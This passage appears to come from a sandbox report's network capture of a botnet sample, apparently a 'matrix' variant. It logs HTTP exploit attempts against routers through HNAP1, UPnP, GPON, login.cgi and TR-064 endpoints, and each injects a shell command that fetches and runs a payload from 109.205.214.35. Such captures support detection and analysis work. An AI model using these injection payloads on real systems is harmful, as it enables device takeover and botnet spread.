Mar 21, 2024 05:22:57.489216089 CET	331	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:22:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Mar 21, 2024 05:22:57.489268064 CET	286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:57 GMT Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	34034	100.20.220.252	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.060750961 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:22:59.091253996 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:00.268239021 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:00.448390961 CET	153	IN	HTTP/1.0 404 Not Found Content-Type: text/plain Date: Thu, 21 Mar 2024 04:23:00 GMT Connection: close Data Raw: 4e 6f 20 6c 69 73 74 65 6e 65 72 20 66 6f 72 20 65 6e 64 70 6f 69 6e 74 3a 20 2f 48 4e 41 50 31 2f Data Ascii: No listener for endpoint: /HNAP1/

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	39548	172.65.42.146	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:58.826101065 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	57176	23.57.46.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.099467993 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:59.430610895 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:22:59 GMT Date: Thu, 21 Mar 2024 04:22:59 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 30 39 39 34 39 37 39 26 23 34 36 3b 34 39 35 66 64 37 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.7401c045.1710994979.495fd78</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	60562	5.65.235.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656675100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	54514	109.21.70.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656709909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	58944	118.68.228.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656711102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	34982	109.114.166.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656722069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	35026	42.148.216.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656722069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	53404	109.119.164.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656735897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	47596	194.39.114.44	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656758070 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	34284	42.172.210.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656759977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	45024	109.203.251.49	443

Timestamp	Bytes transferred	Direction	Data
